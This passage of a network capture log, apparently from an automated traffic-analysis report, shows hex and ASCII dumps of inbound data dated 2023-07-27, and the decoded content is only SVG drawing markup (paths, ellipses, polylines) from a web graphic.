2e 34 38 2d 2e 30 36 2d 2e 32 32 2c 31 2e 32 32 2d 39 2c 31 2e 36 38 2d 39 2c 31 32 2e 30 39 2e 31 34 2c 32 31 2c 2e 35 36 2c 33 33 2c 2e 36 35 2c 32 33 2c 2e 31 38 2c 34 35 Data Ascii: -3-13.5-3l-30.69-3.57c-1.24-.08-4-4-4.83-4.9a43.07,43.07,0,0,0-4.17-3.95c-2.06-1.76-3.94-3.8-5.89-5.68l-10-9.64c-6.36-1.56-12.76-3-19.12-4.56-4.35-1.08-8.74-6.13-12.86-7.81-1.23-5.14-1.58-9-3.95-17.48-.06-.22,1.22-9,1.68-9,12.09.14,21,.56,33,.65,23,.18,45
2023-07-27 19:54:07 UTC	1813	IN	Data Raw: 72 79 3d 22 30 2e 31 39 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 37 20 35 36 33 2e 36 34 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 34 30 2e 36 39 22 20 63 79 3d 22 32 31 34 2e 30 39 22 20 72 78 3d 22 30 2e 31 35 22 20 72 79 3d 22 30 2e 31 39 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 36 2e 38 36 20 35 36 33 2e 39 39 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 33 39 2e 30 38 22 20 63 79 3d 22 32 31 34 2e 30 35 22 20 72 78 3d 22 30 2e 31 35 22 20 Data Ascii: ry="0.19" transform="translate(47 563.64) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="840.69" cy="214.09" rx="0.15" ry="0.19" transform="translate(46.86 563.99) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="839.08" cy="214.05" rx="0.15"
2023-07-27 19:54:07 UTC	1829	IN	Data Raw: 63 79 3d 22 32 33 33 2e 36 37 22 20 72 78 3d 22 30 2e 31 37 22 20 72 79 3d 22 30 2e 32 32 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 38 2e 37 38 20 35 35 30 2e 37 36 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 31 32 2e 39 38 22 20 63 79 3d 22 32 33 34 2e 30 39 22 20 72 78 3d 22 30 2e 31 37 22 20 72 79 3d 22 30 2e 32 32 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 38 2e 36 33 20 35 35 31 2e 31 35 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 31 33 2e 34 Data Ascii: cy="233.67" rx="0.17" ry="0.22" transform="translate(28.78 550.76) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="812.98" cy="234.09" rx="0.17" ry="0.22" transform="translate(28.63 551.15) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="813.4
2023-07-27 19:54:07 UTC	1845	IN	Data Raw: 73 20 31 20 6e 6f 72 6d 61 6c 20 6e 6f 6e 65 20 72 75 6e 6e 69 6e 67 3b 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 20 73 76 67 2d 61 6e 69 6d 22 20 64 3d 22 4d 38 30 38 2e 38 35 2c 32 38 31 2e 37 37 61 31 2e 38 35 2c 31 2e 38 35 2c 30 2c 30 2c 31 2c 2e 31 31 2d 2e 33 31 63 2d 2e 33 31 2e 36 37 2d 31 2c 31 2d 31 2e 30 39 2c 31 2e 37 38 61 31 31 2c 31 31 2c 30 2c 30 2c 30 2d 2e 31 35 2c 31 2e 31 35 63 30 2c 2e 34 34 2e 32 2e 36 32 2e 33 31 2c 31 2c 2e 32 32 2e 37 34 2d 2e 31 37 2c 31 2e 37 35 2d 31 2e 30 37 2c 31 2e 34 35 2d 2e 36 39 2d 2e 32 33 2d 31 2e 31 2d 31 2d 31 2e 36 2d 31 2e 34 35 61 31 31 2e 37 36 2c 31 31 2e 37 36 2c 30 2c 30 2c 31 2d 31 2e 38 39 2d 31 2e 37 37 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c Data Ascii: s 1 normal none running;"></path><path class="cls-38 svg-anim" d="M808.85,281.77a1.85,1.85,0,0,1,.11-.31c-.31.67-1,1-1.09,1.78a11,11,0,0,0-.15,1.15c0,.44.2.62.31,1,.22.74-.17,1.75-1.07,1.45-.69-.23-1.1-1-1.6-1.45a11.76,11.76,0,0,1-1.89-1.77,2.39,2.39,0,0,
2023-07-27 19:54:07 UTC	1861	IN	Data Raw: 35 2e 36 36 20 35 39 38 2e 34 35 20 32 32 31 2e 37 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 32 22 20 70 6f 69 6e 74 73 3d 22 35 37 39 2e 35 34 20 32 31 31 2e 31 32 20 35 39 32 2e 36 35 20 32 31 36 2e 32 33 20 35 39 39 2e 32 20 32 32 30 2e 32 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 32 22 20 70 6f 69 6e 74 73 3d 22 35 37 37 2e 38 32 20 32 33 35 2e 32 32 20 35 39 30 2e 35 20 32 33 39 2e 35 34 20 35 39 37 2e 38 31 20 32 33 36 2e 33 37 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 33 22 20 70 6f 69 6e 74 73 3d 22 35 37 37 2e 38 32 20 32 35 30 2e 33 31 20 35 39 30 2e 35 20 32 Data Ascii: 5.66 598.45 221.7"></polyline><polyline class="cls-52" points="579.54 211.12 592.65 216.23 599.2 220.2"></polyline><polyline class="cls-52" points="577.82 235.22 590.5 239.54 597.81 236.37"></polyline><polyline class="cls-53" points="577.82 250.31 590.5 2
2023-07-27 19:54:07 UTC	1877	IN	Data Raw: 61 6e 69 6d 22 20 64 3d 22 4d 36 30 39 2e 33 33 2c 33 30 34 2e 38 39 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 30 2c 2e 32 2d 2e 32 38 63 2d 2e 34 2e 36 37 2d 2e 33 31 2c 31 2e 34 38 2d 2e 39 2c 32 61 39 2e 39 34 2c 39 2e 39 34 2c 30 2c 30 2c 31 2d 2e 39 32 2e 38 63 2d 2e 33 38 2e 32 37 2d 2e 36 35 2e 32 2d 31 2c 2e 33 33 2d 2e 37 38 2e 32 35 2d 31 2e 34 33 2c 31 2e 31 37 2d 2e 36 34 2c 31 2e 37 38 61 35 2e 31 38 2c 35 2e 31 38 2c 30 2c 30 2c 30 2c 32 2e 32 31 2e 35 34 2c 31 32 2e 31 31 2c 31 32 2e 31 31 2c 30 2c 30 2c 30 2c 32 2e 36 35 2e 36 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 30 2c 31 2e 34 35 2d 2e 35 35 63 2e 34 35 2d 2e 34 38 2e 32 38 2d 31 2e 35 37 2e 32 34 2d 32 2e 31 36 2d 2e 30 36 2d 31 2d 2e 34 33 2d 31 2e 39 32 2d 2e 34 31 2d 32 2e Data Ascii: anim" d="M609.33,304.89a1.62,1.62,0,0,0,.2-.28c-.4.67-.31,1.48-.9,2a9.94,9.94,0,0,1-.92.8c-.38.27-.65.2-1,.33-.78.25-1.43,1.17-.64,1.78a5.18,5.18,0,0,0,2.21.54,12.11,12.11,0,0,0,2.65.6,2.52,2.52,0,0,0,1.45-.55c.45-.48.28-1.57.24-2.16-.06-1-.43-1.92-.41-2.
2023-07-27 19:54:07 UTC	1893	IN	Data Raw: 30 2c 30 2d 2e 35 32 2d 2e 30 36 2c 31 2e 35 34 2c 31 2e 35 34 2c 30 2c 30 2c 30 2d 2e 37 2e 31 35 2c 31 2e 34 33 2c 31 2e 34 33 2c 30 2c 30 2c 30 2d 2e 35 2e 34 31 2c 31 2e 37 37 2c 31 2e 37 37 2c 30 2c 30 2c 30 2d 2e 33 2e 35 38 2c 32 2e 36 31 2c 32 2e 36 31 2c 30 2c 30 2c 30 2d 2e 30 39 2e 36 39 76 33 68 2d 31 2e 31 33 56 37 31 2e 31 36 43 38 39 34 2e 34 39 2c 37 31 2c 38 39 34 2e 34 39 2c 37 30 2e 38 31 2c 38 39 34 2e 34 38 2c 37 30 2e 35 37 5a 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 20 64 3d 22 4d 39 30 30 2e 31 35 2c 36 37 2e 38 38 61 2e 36 37 2e 36 37 2c 30 2c 30 2c 31 2d 2e 32 32 2e 35 32 2e 37 32 2e 37 32 2c 30 2c 30 2c 31 2d 2e 35 33 2e 32 2e 36 38 2e 36 38 2c 30 2c 30 2c 31 2d 2e 35 32 2d 2e 32 31 2e Data Ascii: 0,0-.52-.06,1.54,1.54,0,0,0-.7.15,1.43,1.43,0,0,0-.5.41,1.77,1.77,0,0,0-.3.58,2.61,2.61,0,0,0-.09.69v3h-1.13V71.16C894.49,71,894.49,70.81,894.48,70.57Z"></path><path class="cls-2" d="M900.15,67.88a.67.67,0,0,1-.22.52.72.72,0,0,1-.53.2.68.68,0,0,1-.52-.21.
2023-07-27 19:54:07 UTC	1909	IN	Data Raw: 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 30 30 2e 31 31 2c 32 30 31 2e 37 32 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 41 32 2e 35 33 2c 32 2e 35 33 2c 30 2c 30 2c 31 2c 36 39 36 2c 32 30 33 61 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d Data Ascii: 51-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.86"></path><path class="cls-4" d="M700.11,201.72a1.73,1.73,0,0,1-.78,2.24A2.53,2.53,0,0,1,696,203a2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"></path><path class="cls-4" d="M
2023-07-27 19:54:07 UTC	1957	IN	Data Raw: 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 33 31 2e 35 37 2c 32 39 37 2e 38 34 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 33 31 2e 33 34 2c 32 39 30 2e 39 31 61 31 2e 37 Data Ascii: 0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"></path><path class="cls-4" d="M731.57,297.84a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.39,2.39,0,0,1,.52-2.88,2.24,2.24,0,0,1,2.89,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M731.34,290.91a1.7
2023-07-27 19:54:07 UTC	1973	IN	Data Raw: 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 34 39 2e 34 32 2c 32 30 30 2e 30 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 34 39 2e 31 39 2c 31 39 33 2e 31 32 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d Data Ascii: th><path class="cls-4" d="M749.42,200.06a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.11,2.11,0,0,1,.16,2.85"></path><path class="cls-4" d="M749.19,193.12a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-
2023-07-27 19:54:07 UTC	1989	IN	Data Raw: 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 38 30 2e 36 35 2c 32 38 39 2e 32 34 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 Data Ascii: ,1.72,0,0,1-.78,2.23,2.5,2.5,0,0,1-3.33-.94,2.37,2.37,0,0,1,.51-2.88,2.24,2.24,0,0,1,2.89,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M780.65,289.24a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2
2023-07-27 19:54:07 UTC	2005	IN	Data Raw: 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 39 38 2e 35 2c 31 39 31 2e 34 35 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 Data Ascii: .34-.94,2.41,2.41,0,0,1,.52-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"></path><path class="cls-4" d="M798.5,191.45a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"></path
2023-07-27 19:54:07 UTC	2021	IN	Data Raw: 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 30 2c 32 38 37 2e 35 37 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 32 39 2e 37 32 2c 32 38 30 2e 36 33 61 31 2e 37 32 2c 31 2e 37 Data Ascii: 0,1,2.89,0,2.11,2.11,0,0,1,.16,2.86"></path><path class="cls-4" d="M830,287.57a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"></path><path class="cls-4" d="M829.72,280.63a1.72,1.7
2023-07-27 19:54:07 UTC	2037	IN	Data Raw: 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 37 2e 38 31 2c 31 38 39 2e 37 39 41 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2c 38 34 37 2c 31 39 32 61 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 37 2e 35 37 2c 31 38 32 2e 38 35 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 31 Data Ascii: 0,1,.16,2.86"></path><path class="cls-4" d="M847.81,189.79A1.72,1.72,0,0,1,847,192a2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"></path><path class="cls-4" d="M847.57,182.85a1.73,1.73,0,0,1-.78,2.24,2.51
2023-07-27 19:54:07 UTC	2053	IN	Data Raw: 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 32 37 2c 32 38 35 2e 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2c 32 37 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 Data Ascii: s="cls-4" d="M879.27,285.9a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"></path><path class="cls-4" d="M879,279a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.5
2023-07-27 19:54:07 UTC	2069	IN	Data Raw: 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 39 36 2e 38 38 2c 31 38 31 2e 31 38 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 Data Ascii: 0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"></path><path class="cls-4" d="M896.88,181.18a1.72,1.72,0,0,1-.78,2.24,2.51,2.51,0,0,1-3.33-.94,2.39,2.39,0,0,1,.51-2.89,2.24,2.24,0,0,1,2.89,0
2023-07-27 19:54:07 UTC	2101	IN	Data Raw: 2d 33 2e 33 34 2d 31 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 38 2e 33 35 2c 32 37 37 2e 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 Data Ascii: -3.34-1,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M928.35,277.3a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"></path><p
2023-07-27 19:54:07 UTC	2117	IN	Data Raw: 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 33 38 2e 32 31 2c 32 39 33 2e 32 34 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 33 38 2e 34 34 2c 33 30 30 2e 30 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 Data Ascii: 0,0,1-.16-2.82"></path><path class="cls-4" d="M1038.21,293.24a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M1038.44,300.07a1.7,1.7,0,0,1,.77-2.2,2.47
2023-07-27 19:54:07 UTC	2133	IN	Data Raw: 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 30 37 2e 34 35 2c 32 30 35 2e 34 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 31 30 30 37 2e 36 39 2c 32 31 32 2e 32 34 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d Data 